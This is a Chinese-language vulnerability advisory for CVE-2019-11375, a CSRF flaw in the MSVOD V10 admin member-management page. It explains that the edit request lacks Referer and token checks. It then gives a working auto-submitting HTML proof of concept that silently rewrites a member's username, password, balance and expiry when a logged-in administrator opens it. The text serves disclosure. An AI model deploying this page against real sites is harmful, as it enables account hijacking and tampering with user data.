CVE中文申请站

CVE-2019-11375:MSVOD V10后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: MSVOD V10后台管理页面存在CSRF漏洞
上报日期: 2019-04-14
漏洞发现者: ax8
产品首页: https://www.msvod.cc/
软件链接: https://www.msvodx.com/
版本: v10
CVE编号: CVE-2019-11375


二、漏洞概述

使用演示网站进行漏洞复现。如下进入模板风格-4演示站后台
1.png
进入会员管理页面
2.png
任意修改一个用户信息,抓包如下
3.png
尝试repeater发现其未对Refer字段进行检测,也没有使用token验证,存在CSRF漏洞。管理员登陆后台后,访问hacker发来的如下页面,可以实现任意修改会员账号、密码、金币、到期时间等信息。
4.png


三、利用代码

exp代码如下:

<!--poc.html(change user infomation)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://a.msvodx.cn/admin/member/edit.html" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="nickname" value="hacker1" />
  <input type="hidden" name="email" value="hacker1" />
  <input type="hidden" name="tel" value="hacker1" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="out_time" value="1970-01-01" />  
  <input type="hidden" name="money" value="30" />
  <input type="hidden" name="is_permanent" value="0" />
  <input type="hidden" name="status" value="1" />
  <input type="hidden" name="id" value="821" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/198/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11375
exploit-db:发布中